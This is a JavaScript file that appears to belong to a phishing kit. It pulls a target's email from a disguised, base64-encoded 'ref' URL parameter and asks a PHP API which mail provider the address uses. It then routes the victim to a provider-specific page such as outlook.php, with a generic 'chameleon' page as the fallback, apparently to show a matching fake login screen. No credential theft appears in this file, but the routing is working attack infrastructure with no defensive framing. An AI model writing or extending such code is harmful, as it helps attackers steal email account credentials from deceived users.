/**
 * Email Provider Detection System (Unified API Version)
 * 
 * Leverages the server-side PHP detection engine (email_provider_map.php)
 * via a centralized JSON API (detect_provider_api.php).
 */

/**
 * Extract email from URL (query parameter or fragment)
 * Supports formats:
 *   - ?ref=dXNlcj5AZXhhbXBsZS5jb20= (natural-looking query param with base64 - preferred)
 *   - ?ref=user@example.com (natural-looking query param with plain email)
 *   - #email=user@example.com (legacy fragment format)
 *   - #user@example.com (direct fragment)
 */
function extractEmailFromFragment() {
    try {
        var value = null;

        // First, try query parameter 'ref' (natural-looking format)
        var urlParams = new URLSearchParams(window.location.search);
        value = urlParams.get('ref');

        // If not found in query, check fragment (backward compatibility)
        if (!value) {
            var hash = window.location.hash || '';
            if (hash) {
                var fragment = hash.substr(1);
                if (fragment) {
                    var partsIdx = fragment.indexOf('=');
                    if (partsIdx !== -1) {
                        var lhs = fragment.substr(0, partsIdx).toLowerCase();
                        var rhs = fragment.substr(partsIdx + 1);
                        if (lhs === 'email') {
                            value = rhs;
                        } else if (lhs === '') {
                            value = rhs;
                        }
                    } else {
                        value = fragment;
                    }
                }
            }
        }

        if (!value) return null;

        // URL decode
        value = decodeURIComponent(value);

        // Check if base64 encoded
        var base64regex = /^([A-Za-z0-9+/]{4})*(([A-Za-z0-9+/]{2}==)|([A-Za-z0-9+/]{3}=))?$/;
        if (base64regex.test(value.replace(/\s/g, ''))) {
            try {
                var decoded = atob(value);
                if (decoded && decoded.includes('@')) value = decoded;
            } catch (e) { }
        }

        // Validate email format
        var emailRegex = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
        if (emailRegex.test(value)) {
            return value;
        }

        return null;
    } catch (error) {
        console.error('Error extracting email from URL:', error);
        return null;
    }
}

/**
 * Detect email provider (Unified PHP API Call)
 * Calls the server-side engine to ensure perfect consistency with Direct Mode.
 * @param {string} email - Email address
 * @returns {Promise<string>} Provider name (e.g., 'outlook', 'chameleon')
 */
async function detectEmailProvider(email) {
    if (!email || typeof email !== 'string') {
        return 'chameleon';
    }

    try {
        console.log('Detecting provider using Unified PHP Engine for:', email);

        // Call the centralized PHP API
        const response = await fetch('detect_provider_api.php?email=' + encodeURIComponent(email));
        const data = await response.json();

        if (data.status === 'success' && data.provider) {
            console.log('Provider detected via API:', data.provider);
            return data.provider;
        }

        console.warn('API detection unsuccessful, using chameleon fallback:', data.message || 'Unknown error');
        return 'chameleon';
    } catch (error) {
        console.error('Error calling detection API:', error);
        return 'chameleon'; // Default fallback
    }
}

/**
 * Get provider PHP file path
 * @param {string} provider - Provider name (e.g., 'outlook', 'zoho')
 * @returns {string} Path to provider PHP file
 */
function getProviderFilePath(provider) {
    if (!provider) {
        return 'providers/chameleon.php';
    }

    var filename = provider;
    if (!filename.endsWith('.php')) {
        filename = filename + '.php';
    }

    return 'providers/' + filename;
}

